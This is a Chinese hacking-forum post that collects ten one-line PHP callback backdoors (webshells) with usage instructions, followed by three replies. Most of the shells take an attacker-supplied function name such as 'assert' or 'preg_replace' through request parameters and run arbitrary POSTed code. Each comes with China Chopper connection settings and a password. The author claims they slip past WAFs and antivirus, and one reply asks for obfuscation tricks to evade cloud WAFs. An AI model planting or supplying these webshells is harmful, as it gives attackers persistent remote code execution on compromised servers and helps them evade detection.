php回调后门~,
下面是收集并整理的各种一句话,带使用方法.第一个:array_filter+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_filter($arr, base64_decode($e));
?>
用法:
http://www.xxx.com/settoken.php?e=YXNzZXJ0
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
密码:settoken
第二个:array_map+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_map(base64_decode($e), $arr);
?>
用法:
http://www.xxx.com/settoken.php?e=YXNzZXJ0
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
密码:settoken
第三个:uasort+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['settoken']);
uasort($arr, base64_decode($e));
?>
<?php $e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['settoken'] => 2);
uksort($arr, $e);
?>
用法:
http://www.xxx.com/settoken.php?e=YXNzZXJ0
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
密码:settoken
再给出这两个函数,面向对象的方法:
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
再来两个类似的回调后门:
$e = $_REQUEST['e'];
$arr = array(1);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用.
php中,可以执行代码的函数:
1: 一个参数:assert
2: 两个参数:assert(php5.4.8+)
3: 三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk+preg_replace的回调后门:
第四个:array_walk+preg_replace
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'] => '|.*|e',);
array_walk($arr, $e, '');
?>
用法:
http://www.xxx.com/settoken.php?e=preg_replace
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=preg_replace
密码:settoken
这个后门可以在php5.3下使用.
第五个:array_walk_recursive+preg_replace
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?>
用法:
http://www.xxx.com/settoken.php?e=preg_replace
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=preg_replace
密码:settoken
看了以上几个回调后门,发现preg_replace确实好用.但显然很多WAF和安全狗 DD盾什么的早就盯上这个函数了.其实php里不止这个函数可以执行eval的功能,还有几个类似的:
第六个:
<?php mb_ereg_replace('.*', $_REQUEST['settoken'], '', 'e'); ?>
第七个:
<?php echo preg_filter('|.*|e', $_REQUEST['settoken'], ''); ?>
第六个 第七个的用法:
http://www.xxx.com/settoken.php?e=assert
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
推荐这个单参数后门,在各个版本都比较好驾驭. 这里给出几个好用不杀的回调后门
第八个:
<?php $e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['settoken']);
?>
这个是php全版本支持的,且不报不杀稳定执行.
用法:
浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
即可执行phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
第九个:
<?php $e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['settoken']);
?>
用法:
浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
即可执行phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
第十个:
<?php filter_var($_REQUEST['settoken'], FILTER_CALLBACK, array('options' => 'assert')); ?>
用法:
浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
即可执行phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
来源于网络收集,并整理. 好吧,本次就推荐这个10个php一句话,有问题请给我留言.
Re: php回调后门~,
感谢分享,整理得非常全面!这些绕过思路确实很有意思,特别是不同回调函数结合可变函数的用法,在代码审计和安全研究里很有参考价值。收藏了,慢慢消化。另外,提醒一下大家,技术研究归研究,实际操作请务必在合法授权环境下进行。Re: php回调后门~,
感谢楼主分享!这些回调后门的思路很全,从array_filter到register_shutdown_function都覆盖了,而且每个都带了具体用法和菜刀连接参数,实用性很强。尤其是那个全版本支持的register_shutdown_function,确实比preg_replace更隐蔽。先收藏,抽空在测试环境里逐个验证一下。Re: php回调后门~,
感谢分享,整理得很全面!之前只接触过preg_replace的回调,没想到还有这么多变种。register_shutdown_function那个看起来确实稳定,全版本通用这点很实用。不过想请教一下,现在很多云WAF会对assert这类高危函数做拦截,这些后门在实际测试中还有效吗?或者有没有什么编码混淆的技巧能提高存活率?
页:
[1]